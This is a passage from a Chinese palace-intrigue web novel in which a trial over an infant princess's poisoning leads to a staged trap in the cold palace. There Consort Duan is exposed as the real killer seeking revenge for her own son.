祁让看着证词,时不时抬眼去看那几个人,冷肃的面容令那几个人心惊胆战,跪在地上止不住地颤抖。 晚余的目光从这几个人一进门开始,就锁定在了那个体态丰腴的妇人身上。 那妇人虽然换了装束,披头散发,形容狼狈,晚余还是一眼就认出她是梨月的奶娘。 不知道徐清盏是从哪里把她找出来的,她竟然还活着,没有被人灭口。 听到徐清盏说,她是通过乳汁把热毒一点一点传给梨月,晚余的心都在滴血,疼痛伴随着愤恨在体内翻涌,搅得她五脏六腑都支离破碎,每一次呼吸都痛不欲生。 这样阴毒的手段,她没有察觉,祁让没有察觉,太医也没有察觉。 可怜梨月那么小,连话都不会说,纵然再难受,也没办法表达。 她那么爱哭,根本不是单纯的闹人,她是难受,是痛苦,只是没有人知道。 太医早就断言了她养不活,可能发现她有什么症状,也会归结为先天不足,胎里带的热毒。 在外人看来,她一出生就被千娇万宠,谁又能知道她不能言说的痛呢? 晚余死死攥住椅子扶手,几乎要忍不住冲过去揪着奶娘的衣领质问她为什么这么做,她自己也是有孩子的人,怎么忍心对一个刚出生的婴孩下此毒手? 没等她问,瑟瑟发抖的奶娘已经膝行上前,趴跪她和祁让面前连连磕头求饶:“皇上饶命,娘娘饶命,民妇不是存心要害公主的,是兰贵妃让人给民妇的孩子下了毒,如果民妇不照她说的做,民妇的孩子就会没命的。” “一派胡言!” 兰贵妃指着她厉声怒骂,“本宫根本不认识你这贱妇,你这贱妇为何要诬陷本宫,是哪个贱人背后使阴招,找了你这种货色来给本宫泼脏水? 本宫若因此获罪,你以为你能好得了吗,你残害皇嗣,哪怕不是自愿,也是杀头的死罪,你识相的话,现在就从实招来,免得你的家人和你一起下地狱。” 奶娘的头都磕破了,顶着一脑门的血看向她: “您是高高在上的贵妃娘娘,自然不会认识民妇,您这样的身份,想要谁的命自然也不会亲自动手。 这些事都是您手底下的人做的,民妇的孩子也是千真万确被您手底下的人下了毒,他们怕民妇坏了您的事,至今都还没把解药给我们。” 她又爬跪到兰贵妃脚边,咚咚磕头:“贵妃娘娘,民妇没有胡乱攀扯您,这事有刘家表姐给民妇作证,民妇给小公主下的毒,就是刘家表姐给的。 民妇贱命一条,死不足惜,可民妇的孩子是无辜的呀,求贵妃娘娘开恩,饶我孩子一命吧,求求您了。” 她苦苦哀求,情急之下,一把抱住了兰贵妃的脚。 “贱妇,滚开,别碰本宫,本宫从未指使人给你儿子下毒,你儿子的死活和本宫有什么关系!”兰贵妃狠狠将她踢开。 奶娘被踹翻在地,另一个妇人爬过来扶住了她,对兰贵妃道,“娘娘,她说的都是真的,确实是您手下的人让我们这么做的。” “你又是谁?”兰贵妃怒视着她,想杀人的心都有了。 那妇人道:“民妇是娘娘一个远房的表嫂,穷亲戚,借着娘娘的光做点小买卖,府上的菜蔬都是我们供应的,这件事就是负责采买的管事安排给民妇的,民妇受娘娘的庇护,不敢不从。” 这时,管家裴忠和其他几个人也相继开口,当众供述了受兰贵妃指使联手做下此局的详细经过,负责联络他们的,正是兰贵妃的心腹太监赵进宝。 “胡说,全都是胡说。” 兰贵妃面对这么多证人证词,仍是态度强硬地不肯承认,跪在祁让面前为自己辩解: “皇上,臣妾从未指使赵进宝做过任何伤害梨月公主的事,皇上若是不信,可以把赵进宝叫来当面问话,臣妾是被人诬陷的。” 祁让阴沉着脸,扬手扔给她几张纸:“赵进宝已经在慎刑司招供了,这是他的供词,你自己看吧!” 纸张飘飘落下,兰贵妃的心和那张纸一样,飘飘忽忽往深渊里沉去。 赵进宝是她最得用的人,知道她太多秘密,供词写了几大张,肯定不只今天这一桩事。 所以,不管今天这事她是不是冤枉的,她都完了。 她颤抖着手捡起那几张纸,直到此刻才明白,江晚余为什么那么笃定地说,她的命她今天要定了。 江晚余联合徐清盏给她做了这个局,而这个局,也是皇上默许的。 赵进宝好歹是翊坤宫的太监总管,如果不是皇上默许,慎刑司也不能对他随意用刑。 兰贵妃心里翻江倒海,逐字逐句去看那些供词。 看着看着,神情突然变得复杂古怪,猛地抬头看向晚余。 晚余对上她的视线,面容平静,无波无澜。 两人默默对视了片刻,兰贵妃突然疯了似的将手中证词撕得粉碎,咬牙向晚余砸过去。 “江晚余,我做鬼也不会放过你的!”她愤恨又绝望地喊道。 众人都被她突然的举动吓了一跳。 祁让下意识伸手护住晚余。 纸片如雪花飘飘扬扬落下,并没有对晚余造成丝毫伤害。 晚余扒开祁让挡在她身前的手,语气平静地回了兰贵妃一句:“那你也要先做了鬼再说。” 兰贵妃咬牙切齿地看着晚余,一副要将晚余生吞活剥的凶狠模样。 但她最终却又什么也没做,跪在地上向祁让认罪:“臣妾百口莫辩,也不想再辩,就当这一切都是臣妾做的吧,皇上要杀要剐都可以,只求皇上看到皇长子的份上,不要迁怒于臣妾的家人。 臣妾的父兄曾为皇上登基立下过汗马功劳,纵然这几年稍有松懈,做了些出格的事,但他们对皇上忠心耿耿,绝无二心,臣妾愿用自己的性命来换父兄一个前途无忧,请皇上开恩。” 说罢,她伏俯在地,郑重地磕了三个响头,眼含热泪,眼情哀伤地看向祁让。 祁让神情凝重,默默与她对视,幽深的眸底看不出是什么情绪。 殿中所有人的视线都落在两人身上,等着看祁让会做出什么样的判决。 晚余静静坐着,也没有催促祁让,仿佛笃定了兰贵妃在劫难逃。 许久的沉寂之后,祁让清了清嗓子,正要开口,外面突然有人禀报:“皇上,裴大将军求见,说有西南紧急军务请皇上定夺!” 裴大将军? 那不是兰贵妃的兄长吗? 众人皆是一惊,殿中起了小小的喧哗。 裴大将军来的真是时候,皇上马上要处置兰贵妃,他那边突然就有了紧急军务。 他怕不是听说兰贵妃有难,特地赶来救场的吧! 大过年的,西南能有什么紧急军务,怕不是刻意提醒皇上三思而行的。 这样一来,皇上还能下得去手吗? 兰贵妃不会又要逃过一劫吧? 第351章 皇上的宠爱不过如此 众目睽睽之下,祁让脸上闪过一抹犹豫。 “皇上。”晚余小声叫了他一声。 祁让侧首看向她,默然一刻道:“兰贵妃是否残害皇嗣尚不确定,鉴于她所犯的其他过错,先将她杖责三十,降为采女,打入冷宫,残害皇嗣之罪容后再议。” 晚余瞬间变了脸色:“什么叫尚不确定,她自己都已经招认了,皇上难道没听见吗?” “朕听见了,但她很明显有难言之隐。”祁让说,“人命关天,要慎之又慎,今日暂且就这么处置,其余的等朕忙完正事再审。” 他说罢起身就要离开,晚余跟着起身拉住了他:“皇上这叫什么话,梨月的死难道不是正事吗? 皇上答应臣妾要让害死梨月的人血债血偿,怎么裴大将军一来,皇上就变卦了。 皇上怕臣妾不能秉公论断,自己提出要和臣妾一同审问,那么现在呢?难道这就是皇上所谓的公平公正吗?” 祁让垂眸瞥向她抓住自己袍袖的手,眉头深深拧起:“皇贵妃,你要适可而止。” 晚余瞪大眼睛,不可置信地看着他:“适可而止?皇上的意思是,这件事就这么过去了吗? 兰贵妃残害皇嗣,作恶多端,到头来只是降位分去冷宫住几天吗? 是不是以后她兄长再立了什么功劳,她就可以从冷宫出来,继续享受她的荣华富贵了? 皇上觉得,这样对梨月公平吗,对二皇子公平吗,对那些死在兰贵妃手里的人公平吗?” 晚余不管不顾的一番质问,也喊出了各宫妃嫔的心声。 她们长年被兰贵妃压得抬不起头,如今终于有机会看到兰贵妃倒台,皇上居然又要轻飘飘地放过她。 说什么容后再议,只怕见过她兄长之后,就不会再议了。 等过段时间皇贵妃的丧女之痛淡化之后,难保他不会再把兰贵妃从冷宫放出来。 这样实在太不公平了。 众妃嫔心里都很不满,庄妃第一个出声反对:“臣妾认为皇上这样做实在有失公允,兰贵妃犯的罪,条条款款都是她亲口承认过的,皇上却当着这么多人的面公然包庇她,这样下去,后宫还有什么公平可言? 倘若残害皇嗣都可以轻拿轻放,臣妾岂非要日日夜夜担心嘉华的安危? 皇上这样做,是要鼓励某些心怀不轨之人对您唯一的子嗣下手吗? 臣妾不服,臣妾恳请皇上赐死兰贵妃以儆效尤。” 庄妃之所以这么着急,是因为她今天彻底得罪了兰贵妃,如果兰贵妃不死,将来肯定要报复她,所以她无论如何也不能让兰贵妃活着。 乌兰雅起身附和她:“是啊皇上,今日之事,我们所有人都是全程见证的,兰贵妃自己都供认不讳了,皇上有必要再包庇她吗? 残害皇嗣是满门抄斩的大罪,就算她兄长有天大的功劳,也不能功过相抵吧?” 她们两位开了头,其余妃嫔纷纷出声附和,异口同声请皇上赐死兰贵妃以儆效尤。 就连最面慈心善的贤贵妃,这一回也是极力劝祁让赐死兰贵妃。 静安太妃见众人群情激昂,也跟着劝祁让,让他重新考量一下,不要因为一个人,冷了后宫所有人的心。 祁让面色不愉,紧锁的眉宇显示出他的气愤与不耐。 “你们一个个的是要逼宫吗?朕何曾说了会饶恕她,朕只是说,事有轻重缓急,军情为重,此事容后再议,怎么就是包庇她了?” 说罢看向晚余,语带警告:“皇贵妃,朕念及你丧子之痛,已经对你多番包容,处处忍让,你若不懂适可而止,一味得寸进尺,迟早会把朕对你的宠爱消耗殆尽的。” 晚余冷笑:“如果皇上的宠爱就是这样说一套做一套,臣妾不要也罢,皇上也不要怪臣妾不通情理,皇上今日不杀兰贵妃,臣妾便与皇上恩断义绝,此生不复相见!” “你……”祁让蓦地沉下脸,目光冷森森从她脸上扫过,“你对朕,从来也不曾有过什么情义,犯不着拿情义来威胁朕,军情紧急,朕懒得与你废话,现罚你自行回宫反醒,没有朕的允许不得外出!” 晚余气得满脸通红:“皇上这是要禁臣妾的足吗,残害皇嗣的人你轻拿轻放,臣妾不过想要一个公平,就要被禁足,皇上的宠爱,真是令臣妾受宠若惊。” 祁让深吸一口气,又重重吐出,不再同她废话,大声命令道:“来人,送皇贵妃回宫!” 两名侍卫应声而入。 胡尽忠连忙上前打圆场:“皇上,不必劳烦侍卫了,奴才陪娘娘回去就是了。” 祁让冷冷瞥了他一眼,倒也没反对,目光森冷扫过众人:“都给朕回去老实待着,今日之事,不许任何人私下议论。” 众妃嫔全都不服,但见晚余都被他罚了禁足,便都低下头不敢吭声。 祁让命那两个侍卫把兰贵妃押去慎刑司行刑,行刑完毕,就把她直接送去冷宫。 兰贵妃捡回一条命,一时竟不知是该庆幸还是悲哀。 入宫七年,盛极一时,而今却被降为最低等的采女打入冷宫。 她和江晚余,真是两个极端。 她被两名侍卫架住,临行前,不无讽刺地看向晚余:“看来皇贵妃的豪言壮语要落空了,本宫就算再不受宠,也不是你可以随意拿捏的。” 晚余不说话,默默地看着她被侍卫架走。 祁让急着回乾清宫,叫了晚余一声:“晚余,朕……” 晚余冷冷瞥了他一眼,拂袖而去。 “娘娘,您慢点儿。”胡尽忠忙跟上去扶住她。 晚余经过徐清盏身边,徐清盏张了张嘴,最终什么也没说,站在原地看她离开。 其余妃嫔也和徐清盏一样,默默地看着她离开。 皇上整天爱江晚余爱得死去活来,原来也不过如此。 一场声势浩大的审判就这样窝窝囊囊地宣告结束,众人各回各宫,意兴阑珊。 兰贵妃在慎刑司挨了三十杖,被送去了冷宫。 先前的冷宫被晚余一把火烧了,现在的冷宫,是一座更为偏僻的废弃宫殿。 从贵妃一下子变成了最末等的采女,身边服侍的人只剩下贴身宫女雀梅,和前年冬天的晚余一样,主仆二人相依为命。 雀梅看着兰贵妃被打得血肉模糊的后背,难过得直掉眼泪。 兰贵妃趴在充满霉味的床上,不知是在安慰她,还是在安慰自己:“皇上再偏心江晚余,不也没把本宫赐死吗,有父亲和兄长在,本宫一定会东山再起的。” 雀梅却没有那么乐观。 冷宫这么冷,娘娘又伤成这样,不知道能撑过几天。 也许等不到尚书大人和裴大将军发力,她们主仆二人就冻死饿死在这荒凉之地了。 这样死去,倒还不如一根白绫一杯毒酒来得痛快。 兰贵妃不是认命的人,入夜后,就让雀梅出去打探消息,想办法给她父亲兄长送信。 雀梅不放心她一个人,被她斥责了几句,才忐忑不安地离去,临走把自己的银簪子给了她,让她拿着防身。 兰贵妃嗤笑:“本宫已经沦落到这步田地,还有什么好防的,这阴森晦气的地方,谁会愿意踏足?” 雀梅抹着眼泪走了。 兰贵妃独自在床上趴了一会儿,唯一的一盏灯也油尽灯枯,摇摇晃晃地熄灭了。 四周陷入一片漆黑,坟墓般的寂静。 不知过了多久,门外传来了轻微的脚步声。 紧接着,破旧的木门嘎吱一声被人推开。 “雀梅,是你回来了吗?” 兰贵妃叫了一声,无人应答,只有轻微的脚步声向她靠近。 “谁?”兰贵妃的声音有点发颤,挣扎着想要爬起来。 下一刻,一片冰凉而锋利的刀刃抵在了她的脖子上。 第352章 江晚余疯了,她也疯了 兰贵妃浑身僵硬,趴在那里一动不敢动。 黑暗中,一个轻蔑的声音幽幽响起:“裴凤兰,你也有今天。” 兰贵妃实在紧张,一时竟听不出是谁的声音,“你是谁,本宫与你有什么仇怨,本宫已然沦落至此,你为何还要赶尽杀绝?” “沦落至此?”那人阴恻恻道,“你害死了我的孩子,只是打入冷宫就够了吗,我必要将你千刀万剐,方能解心头之恨!” “孩子……”兰贵妃低喃一句,忽而拔高了声调,“端妃,你是端妃?” 对方冷哼一声:“没错,是我,裴凤兰,你知道我等这一天等得多辛苦吗?我做梦都想让你血债血偿,奈何皇上偏袒你,连江晚余都弄不死你,那我就亲自送你一程。” “不是我,真的不是我。”兰贵妃气急,身子动了动,想要爬起来。 “别动!”端妃手中的刀用力压下,将她颈侧细嫩的皮肉切开一条口子。 热热的液体流出来,兰贵妃疼得大叫:“不是我,你还要我说多少次,二皇子的死和我没有关系,几年了,你为何就是不肯信我?” “残害皇嗣是灭门的大罪,你当然不会承认。”端妃恨恨道,“你就算不承认,我也知道是你干的,我苟延残喘至今,就是为了亲眼看你去死!” 她一字一句,说得咬牙切齿,愤恨的话语里又带着无尽的辛酸和冤屈。 兰贵妃看不到她的脸,从她的语气里都能感到彻骨的恨意。 “可我真的没有害你的孩子呀!”兰贵妃气愤又无奈,“你的孩子没了也怪我,江晚余的孩子没了也怪我,那我的孩子没了,又该怪谁呢?” “你的孩子是病死的,但我的孩子就是被你害死的。”端妃说,“是你让人在他的枕头上撒了诱发哮喘的花粉,他才会突然发病。 他还不到一岁,你竟忍心下此毒手,你这样的毒妇,能活到现在,就是老天爷瞎了眼。” “我没有。”兰贵妃崩溃大喊,“这些话你到底是听谁说的,你跟江晚余那个贱人一样的冤枉我,又是花粉又是热毒,还找一堆人来指证我。 我干过的事我都可以承认,我没干过的,你们凭什么要赖在我头上,你有本事就杀了我,但我就算死,也不会认这个账。” “喊什么?”端妃厉声道,“你以为你声音大就可以把人招来吗,别做梦了,雀梅已经被我杀了,这里不会有人来的,江晚余的孩子那笔账你可以不认,但我孩子的账,你非认不可!” 兰贵妃听闻雀梅已死,惊得半天缓不过来,后背一阵阵的发冷,如同阴风刮过。 过了一会儿,她才颤着声问了一句:“你知道江晚余的孩子不是我杀的?” “我当然知道。”端妃的声音在黑暗中如同幽灵的叹息,“我没有别的办法了,我无论如何也扳不倒你,我只能利用她,在这个后宫,能扳倒你的只有她。” 兰贵妃倒吸一口凉气:“你什么意思,莫非江晚余的孩子是你杀的,你杀了她的孩子嫁祸给我是吗?” “没错,是我。”端妃没有犹豫,痛快承认下来,“除了她,没有人能撼动你,所以她不能走,我杀了她的孩子,把她留在宫里,替我的孩子报仇。” 兰贵妃顾不得那把压在自己脖颈上的刀,奋力地想要坐起来:“你这毒妃,你疯了,你为了你的孩子,就要杀掉别人的孩子……” “别动!” 端妃手上再次用力,又逼着她趴回去,“我若不是没有别的办法,也不会对那孩子下手,反正那孩子先天不足,早晚要死的,既如此,何不在死之前做点有用的事,为她的二皇兄报仇雪恨!” “疯子,你这个疯子!”兰贵妃震惊到无以复加,随即又大声道,“我不信,你在撒谎,你整天吃斋念佛,闭门不出,你哪有本事做这么大一个局?” 端妃呵呵冷笑:“你若五年来只专注一件事,你也可以的,我吃斋念佛不过是为了隐藏自己,不代表我真的什么都不做。” 兰贵妃努力睁大眼睛看她,黑暗中只能看到一个削瘦的轮廓。 她实在想不到,这样一个瘦瘦弱弱的女人,为了报仇,竟然能做出如此疯狂的举动。 江晚余疯了,她也疯了。 江晚余还是被她逼疯的。 “所以我今晚是无论如何也活不成了是吗?”兰贵妃的语气已经充满绝望。 她受了这么严重的伤,又被刀架着脖子,唯一的婢女也死了,面对这个恨不得将自己千刀万剐的疯子,还有什么活路? 她叹口气,最后问端妃:“我已经是要死的人了,你能不能让我做个明白鬼,关于我杀害二皇子的事,到底是谁告诉你的?你为什么如此笃定是我?” “这个你无须知道,你现在知道的已经够多了。”端妃说,“我本该一刀结果了你的,但我实在恨你入骨,让你这样的毒妇一刀毙命未免太便宜你。” 她说着话,突然举刀狠狠刺入了兰贵妃的肩头,声音阴狠如鬼魅:“裴凤兰,你好好数着,你挨的每一刀,都是我每一日所受的煎熬……” “啊!”兰贵妃发出一声惨厉的痛呼,向着黑暗的虚空尖声叫喊,“江晚余,你都听到了吧,你还不出来!” 端妃吃了一惊,拔出刀子就要再刺下去。 一道疾风扫过,不知是什么东西击中了她的手腕。 她闷哼一声,手中的刀掉在兰贵妃后背上。 阴冷幽暗的屋子随即亮起了一簇火苗。 火折子摇曳的光亮里,祁让和晚余从角落里破旧的帷幔后面走了出来。 第353章 可悲可叹又可恨 端妃骇然看着两人,片刻的惊惧之后,飞快地去捡掉落在兰贵妃背上的短刀。 徐清盏不知从哪里闪现,抓住她的肩膀将她甩飞出去,重重地跌在落满灰尘的地上,发出一声沉闷的声响。 她眼前发黑,头晕目眩,被灰尘呛得剧烈咳喘。 等她好容易缓过来之后,屋里已经亮起数盏灯烛,祁让一身玄色龙袍负手而立,正用那双幽深又冰冷的凤眸盯着她看。 晚余站在祁让身边,面色苍白,眼圈泛红,周身都在因极力忍耐而微微发抖,看向她的目光恨意滔天。 “你要为你孩子报仇,就杀了我的孩子,你的孩子无辜,难道我的孩子就不无辜吗?” 端妃撑着地,费力挺起了她削瘦的身躯,脸上不见半分愧疚之色,只有扭曲的恨意。 “就算没有我,你的孩子也活不长,我不过是利用她做了件有意义的事。 兰贵妃从前那样对你,我杀了她,也算给你报了仇,不是吗?” 疯子自有疯子的道理,晚余看着她扭曲的表情,只觉得毛骨悚然。 “江晚余,你听到了吧,你的孩子,不是我杀的……”兰贵妃趴在床上,有气无力地说道。 晚余转头看向她:“我知道不是你,否则也不会请你配合我演这出戏。” 兰贵妃肩头的血和眼中的泪一起往外流:“我也是疯了,才会配合你。” 端妃扭曲的脸上露出不可思议的迷茫:“你们是什么时候联手的?” “就在永寿宫。”晚余说,“皇上给兰贵妃的供词上,有我写给兰贵妃的话,我告诉她凶手另有其人,让她配合我演一出戏,端妃娘娘藏的如此深,不这样怎么把您引出来?” 端妃愕然看着她,像看一个怪物:“你怎么知道不是她?” “因为她虽然恨我,也是最想让我出宫的人,她不会蠢到在那个时候对我的孩子下手。”晚余说,“只有不想让我走的人,才会处心积虑让我看到皇上不希望我看到的东西。” 端妃没了言语,怔怔一刻,发出绝望又自嘲的笑声:“是啊,皇上对你多好啊,你的孩子死了,他都怕你受打击,舍不得让你知道。 我呢? 我呢? 我的孩子死了,皇上从头到尾连一滴泪都没掉,就像死了一只阿猫阿狗一样,连替他讨回公道都做不到,还骗我说孩子是病死的。” “朕没有骗你,二皇子的确是死于哮喘。”祁让缓缓开口,眼中痛色如大雾弥漫,“二皇子也是朕的孩子,朕不流泪,不代表不心痛。 朕为了调查他的死因,几日几夜不眠不休,只是你一味沉浸在悲伤里,什么都不知道。 你被仇恨蒙了眼,什么也听不进去,固执地认为是兰贵妃害了二皇子,心心念念想要杀了她……” “是她,就是她……”端妃疯了似的打断祁让,双眼泛着猩红,“所有人都说是她,只有皇上不信。 皇上不是不信,而是在包庇她。 因为她父兄是助皇上夺位的功臣,所以皇上舍不得动她。 臣妾什么都不是,臣妾的父亲不过是一个远在青州的知府,皇上自然不会为了臣妾去诛她裴家满门。 在皇上的江山面前,亲生骨肉都要让步。 因为您还有很多妃嫔,她们还可以为您生很多孩子,一个有先天哮喘的皇子,本就不堪大用,您又怎么会在乎他?” 她这般歇斯底里,身上已经全然没有了理佛之人的淡定从容,超然物外。 晚余不禁想起她们被中山王和长平王软禁在寿康宫时的情形。 那时的她,第一眼看到端妃,感觉她像是一尊被人强行从佛龛里请出来的白玉观音,浑身上下都透着与这纷乱尘世格格不入的疏离。 而眼前的端妃,只是一个被丧子之痛逼疯的母亲,纵然吃再多的斋,念再多的佛,也化不开她仇恨的心结。 晚余能体会到她的心痛与绝望。 就连自己这个打算狠心离孩子而去的母亲,在惊闻梨月死讯的时候,都痛彻心扉,无法承受,何况是端妃那样一个对孩子倾注了全部心血的母亲。 然而,这样一个被丧子之痛折磨的人,却狠心杀了她的孩子,还冠冕堂皇地说,反正她的孩子本来就活不长。 母爱的伟大,母爱的自私,在这样一个吃斋念佛的母亲身上体现得淋漓尽致。 可悲,可叹,又是那么可恨。 她恨她,恍惚间,又从她身上看到自己的影子。 她们都是钻进牛角尖里出不来的人。 端妃的牛角尖是报仇。 她的牛角尖是出宫。 她们都为自己的偏执付出了惨痛的代价。 晚余定了定神,缓缓道:“兰贵妃确实可恨,但她没有杀害你我的孩子,就不该平白背负这个罪名。 我也和你一样,对皇上颇有怨言,但我也相信皇上不是不管孩子死活的冷血之人。 如果你的孩子当真死于兰贵妃之手,兰贵妃的父兄纵然有天大的功劳,皇上也不会包庇她。 皇上白天和我争吵,其实就是吵给你的眼线看的,兰贵妃的兄长根本没有进宫,她们整个裴家已经被沈长安带兵包围……” “你说什么?” 两道惊呼声同时响起。 兰贵妃受了重伤,声音却完全压过了端妃。 “江晚余,你说什么,你再说一遍……”她挣扎着爬起来,身上的伤口被扯痛,疼得她面容比端妃还要扭曲。 晚余说:“你没听错,你们家已经被沈长安带兵包围,你父亲和你兄长已经被控制起来,你兄长之所以今年回来过年,也是皇上特地让他回来的……” “不,不可能,这不可能,我不相信。” 兰贵妃情急之下,呕出一口鲜血,脸色惨白地看向祁让,“皇上,皇上,您不能这样,臣妾的父兄曾为您立下汗马功劳,您怎能如此绝情? 您为了一个江晚余,是要把我们所有人都赶尽杀绝吗?” 祁让闭了闭眼,面色沉凝:“你父兄的事与皇贵妃无关,他们犯的事朕早就已经掌握。 反倒是你父亲为了扶持你上位,屡屡在朝堂煽动官员弹劾打压皇贵妃,动不动就撞柱子以死相逼。 朕能忍到现在才动他们,是看在你失去皇长子的份上,总想着再给他们一次机会,奈何你和他们,都不懂朕的苦心。” “……”兰贵妃听他这么说,眼泪奔涌而出,绝望地跌回到床上。 端妃比她还要绝望,呆坐在地上,挺直的腰背塌下去,眼神都变得空洞无光。 晚余叫了端妃一声,缓缓道:“你现在肯定很绝望吧,这些话我原本不用和你说的,但我体谅你的丧子之痛,想让你死得明白,死得解脱。 我怀疑你不是一天两天了,奈何你躲在长春宫不肯露面,所有的事情似乎都与你无关,我只能想法子把你引出来。 现在,你已经承认了自己的所作所为,自然要承担你该承担的责任,只是我和兰贵妃一样有个疑问,希望你能为我解惑。 你为什么一口咬定是兰贵妃害了二皇子,这是你自己查出来的,还是别人告诉你的,如果有人在中间挑唆了你,那个人是谁?” 第354章 等着她自投罗网 晚余的问题,也是困扰了兰贵妃多年的问题,尽管她已经快要撑不下去,还是强打精神看向端妃,期待着从她口中得到一个确切答案。 端妃垂着头不说话,木呆呆地坐在地上,一副生无可恋的模样,差点没把兰贵妃急死。 “说话呀,你都是要死的人了,还有什么话不能痛快说,是打算带进棺材里去吗?” 端妃依旧垂着头,对兰贵妃的话没有任何反应。 晚余想了想,对她循循善诱:“我不是一定要逼你,我只是怕你受了别人的挑唆,这么多年恨错了人。 假如你自己查出来的,那些线索也有可能是别人故意提供给你的。 就像被我逼供的那几个宫女,她们提供的很多线索,也都是从别处听来的。 而巧合的是,不管她们是哪个宫的宫女,多多少少都知道一些兰贵妃的罪行,你敢说这不是你背后操控的结果吗? 你搜集到了兰贵妃的各种罪行,再让人暗中散布出去,好让大家都知道她干了什么。 你有没有想过,或许另外也有个人像你一样,故意捏造兰贵妃杀害二皇子的罪证,好让你把目标锁定在兰贵妃身上? 你被那个人带偏,几年如一日地恨着兰贵妃,心心念念想要她的命,而那个人却什么都不做,只等着坐收渔翁之利。 这样被人利用,你甘心吗?” 端妃猛地抬起头,空洞的眼神亮起一瞬的光芒。 就在大家以为她要开口的时候,她却又低下了头,什么也没说。 晚余看了祁让一眼。 祁让沉着脸,神情冷肃,手指无意识地转动着拇指上的翡翠扳指,摇曳的烛火忽明忽暗地投映在他漆黑的眸底,如同他深不可测的心思,无人能窥其全貌。 片刻的沉寂之后,他向前迈出两步,走到了端妃面前,声音不大,却带着不容抗拒的威压:“抬起头来,看着朕。” 端妃木然抬头,对上帝王那双深不见底的眼眸。 她已经不记得,他们有多久没有见过面,有多久没有这样对视过一眼。 她的孩子没了,她求了他那么多次,他都不肯帮她惩处兰贵妃。 她恨他的偏心,恨他的薄情,将自己禁足于长春宫,再也不想见他。 他去看过她,也让孙良言去劝过她,可她心里的怨恨太深,始终不肯原谅他。 后来,他再也没有过问过她的事,只是让孙良言照应着她,从不曾短缺她什么。 可她仍旧恨他,他一天不惩治兰贵妃,她就恨他一天。 她打定了主意此生与他不复相见,却没想到会在这样的地方,这样的情形下和他猝然相见。 他可真够狠心,真够绝情,不帮她可怜的孩子报仇也就算了,竟还躲在暗处,等着她自投罗网。 他运筹帷幄,算无遗策,她却满盘皆输,狼狈收场。 怎不叫人寒心? 怎不叫人绝望? 一滴泪无声滚落腮边,端妃抬手抹了一把,露出一个惨淡的笑:“臣妾没什么好说的,请皇上赐死臣妾吧,臣妾早该去地下陪伴二皇子的,只是仇人尚在,心有不甘罢了。” 祁让看着她,俊美的脸上没有一丝怒容,只有令人窒息的平静:“你连仇人是谁都没弄清楚,就甘心去死了吗?” “臣妾清楚得很,就是她裴凤兰。”端妃执拗道,“到了这个时候,皇上还要包庇她,臣妾还有什么好说的,臣妾只求速死,眼不见为净。” 她这般油盐不进,实在叫人恼火,祁让强压心中怒意,冷声道:“这件事已经牵涉了太多人,也不是你一个人能完成的。 所有帮助你的人,无论宫女太监,还是后宫妃嫔,包括宫外面的人,你都要一一交代清楚,一个都不能少。 你若执迷不悟,朕只能把你送去慎刑司,让他们撬开你的嘴,到那时,你再怨朕无情也晚了。” 端妃含泪放肆大笑:“你拿慎刑司来吓唬我,你可知道,失去孩子的每一天,我都活在地狱里,慎刑司的皮肉之苦能苦过我的心吗,我的心,每天都在经受凌迟之刑。” 祁让看着她的癫狂之态,无奈地捏了捏眉心,扬声吩咐道:“孙良言,送端妃去慎刑司。” 孙良言应声而入,领着两个小太监走到端妃面前,躬身道:“端妃娘娘,奴才们得罪了。” 端妃收了笑,一副视死如归的模样。 孙良言便指挥着两个小太监把她架了起来。 兰贵妃犹自不甘心地问她:“端妃,你到底在固执什么?” 端妃转头愤然看向兰贵妃,“我虽然没能亲手杀了你,总算亲眼见证了你的倒台,你父兄的好日子也到头了,你裴氏一族也将土崩瓦解,你没了靠山,就等着在这冷宫里慢慢死去吧,这样的下场,倒是比一刀结果了你更为解气。” “你……” 兰贵妃气得连连咳喘,“你这蠢货,少在这里自欺欺人吧,你这样不择手段地报复我,你自己得到了什么,你和我两败俱伤,不过是给他人做嫁衣,你若还有那么一点脑子,趁早把你知道的都说出来,否则你就算死了,在阴曹地府见到二皇子,他也不待见你这么愚蠢的娘亲。” 端妃冷笑一声,没再理她,挺直腰身被两个小太监架了出去。 兰贵妃气愤之余,又苦苦哀求祁让:“皇上,臣妾的父兄一时昏了头做些出格的事是有的,但他们绝非十恶不赦之人,求皇上网开一面,念及这些年的君臣之情,饶了臣妾的父亲,放我裴氏一族一条活路,臣妾愿意用自己的性命来换他们一线生机。” 祁让阴沉着脸,紧锁的眉头将他内心的烦躁显露无遗。 “你和你父兄的事,不是一死了之这么简单,如何判决,还要等三法司会审之后方可定夺,在此之前,你就好生待在这里反省吧!” 兰贵妃听他语气,没有一点法外开恩的意思,不由得一阵绝望。 “江晚余,啊不,皇贵妃,皇贵妃娘娘……”她转而看向晚余,嘴角的血迹映着惨白的脸色,说不出的凄怆,“皇贵妃娘娘,我没有害你的梨月,也配合你抓到了真凶,你帮帮我好不好,帮我向皇上求个情,求皇上放过我的家人好不好?” 第355章 这么晚了,你让朕回哪去 往日那样矜贵高傲,目空一切的贵妃娘娘,此时却卑微如一只蝼蚁,向她最瞧不起的人发出声声哀求。 晚余心里并没有一丝畅快的感觉,默然一刻道:“你从前那样对我,我帮你洗清了残害皇嗣的冤屈,已经是仁至义尽,其他的我也无能为力,皇上不是真正的绝情之人,相信他会对你和你父兄做出公允的判决。” 祁让意外地看了晚余一眼。 兰贵妃颓然倒在床上,泪水无声而下。 “走吧,朕送你回去!”祁让抓起晚余的手攥在手心,吩咐孙良言另外派人照料兰贵妃。 不知道是不是冷宫太冷的缘故,两人的手都冰凉冰凉的,仿佛血液都凉透了似的。 晚余没有挣开他的手,随他向外走去,顺便叫上了徐清盏。 三人默默出了门,沿着空旷冷寂的宫道往承乾宫走去,明明每个人都有一肚子话,却都出奇地保持着沉默,谁也没有开口。 走了一段路,晚余身上渐渐暖和起来,被祁让攥在手里的那只手甚至微微有了些汗意。 那样冷的两只手握在一起,竟然也能相互温暖,真是个奇迹。 祁让默不作声,把她换到另一侧,握住她的另一只手接着暖。 晚余偏头看他,他却像什么也没发生一样,走得目不斜视。 见晚余一直看他,他便沉声提醒了一句:“看路,别看朕。” 晚余尴尬地移开视线,小声道:“太黑了,看不清。” “那就跟着朕。”祁让说,“跟着朕,就不会走错。” 晚余便又沉默下来,默默地跟着他,穿过一条条宫道,像两艘船,无声地航行在暗夜里,明明比肩而行,却又各自浮沉,各自漂泊。 徐清盏走在两人身后,如同一道沉默的影子,保持着恰到好处的距离,连呼吸都控制得极轻。 他们离得这样近,却又这样远。 